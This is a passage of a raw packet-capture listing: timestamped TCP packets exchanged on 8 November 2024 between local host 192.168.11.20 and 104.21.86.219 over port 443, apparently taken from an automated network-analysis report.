                                                                                                                                          Nov 8, 2024 11:27:47.600892067 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.600903034 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.601077080 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.601136923 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.601149082 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.601231098 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.601350069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.602590084 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.602600098 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.602766037 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.602830887 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.602843046 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.602855921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.603025913 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.604563951 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.604574919 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.604765892 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.604806900 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.604806900 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.604820013 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.604870081 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.605015039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.606538057 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.606549978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.606730938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.606794119 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.606794119 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.606806040 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.607009888 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.607364893 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.607568026 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.607579947 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.607588053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.607594013 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.607784033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.783907890 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.783921957 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.784148932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.784148932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.784148932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.784166098 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.784291983 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.784291983 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.785657883 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.785670996 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.785926104 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.785979986 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.786041975 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.786052942 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.786103010 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.786103010 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.786290884 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.787252903 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.787265062 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.787492037 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.787492037 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.787503958 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.787513971 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.787684917 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.788495064 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.788507938 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.788671970 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.788671970 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.788691998 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.788698912 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.788765907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.788861990 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.788965940 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.789479017 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.789746046 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.789758921 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.793843985 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.793858051 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.794004917 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.794018030 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.794025898 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.794025898 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.794104099 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.794105053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.794126987 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.795099974 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.795111895 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.795344114 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.795423031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.795423031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.795511961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.795523882 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.795537949 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.795537949 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.797291994 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.797307014 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.797451019 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.797451019 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.797462940 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.797472954 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.797472954 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.797549963 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.797621965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.798362970 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.798374891 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.798521996 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.798521996 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.798578024 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.798590899 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.798597097 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.798671961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.798726082 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.800084114 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.800097942 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.800250053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.800261974 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.800317049 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.800317049 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.800421000 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.801928997 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.801942110 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.802087069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.802099943 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.802099943 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.802177906 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.802189112 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.802268982 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.803400993 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.803415060 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.803555012 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.803555012 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.803567886 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.803576946 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.803668976 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.803750038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.804374933 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.804546118 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.804593086 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.804728031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.804728031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.804742098 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.804828882 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.805278063 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.805289030 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.805452108 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.805464029 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.805546045 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.805546045 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.805565119 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.807178974 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.807190895 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.807465076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.807569981 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.807569981 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.807581902 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.807687044 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.808895111 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.808909893 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.809055090 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.809055090 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.809067011 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.809077978 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.809077978 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.809151888 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.809205055 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.810127020 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.810138941 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.810378075 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.810378075 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.810486078 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.810486078 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.810497999 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.810586929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.810586929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.812031984 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.812047958 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.812211037 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.812211037 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.812222958 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.812232971 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.812305927 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.813345909 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.813358068 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.813575983 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.813575983 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.813589096 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.813604116 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.813604116 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.815853119 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.815866947 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.816071987 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.816085100 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.816093922 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.816093922 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.816093922 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.816396952 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.816407919 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.816579103 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.816579103 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.816591978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.816601992 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.816601992 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.816746950 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.818083048 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.818097115 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.818244934 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.818245888 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.818258047 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.818348885 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.818403959 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.819180012 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.819191933 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.819402933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.819402933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.819415092 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.819425106 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.819504023 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.821316004 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.821329117 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.821504116 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.821504116 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.821516991 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.821602106 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.821602106 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.822771072 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.822782040 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.822948933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.822957039 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.823062897 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.823111057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.823169947 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.823283911 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.824340105 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.824352026 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.824510098 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.824510098 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.824568033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.824568033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.824580908 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.824671984 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.825418949 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.825433016 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.825617075 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.825617075 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.825628996 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.825638056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.825638056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.825728893 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.825741053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.827162027 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.827173948 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.827318907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.827331066 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.827395916 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.827395916 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.827533960 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.829018116 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.829029083 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.829226017 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.829329014 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.829329014 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.829430103 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.829435110 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.829476118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.829536915 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.830410957 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.830423117 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.830604076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.830604076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.830611944 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.830679893 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.830727100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.832669973 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.832679033 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.832876921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.832885027 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.832997084 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.832997084 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.833049059 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.833070040 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.833118916 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.833473921 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.833482981 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.833570004 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.833661079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.833661079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.833667040 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.833734035 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.833787918 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.835235119 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.835247040 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.835417032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.835422993 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.835462093 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.835462093 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.835510015 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.836287022 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.836296082 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.836419106 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.836419106 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.836546898 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.836546898 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.836550951 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.838243008 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.838253975 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.838377953 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.838377953 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.838385105 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.838478088 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.838558912 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.839523077 CET44349729104.21.86.219192.168.11.20
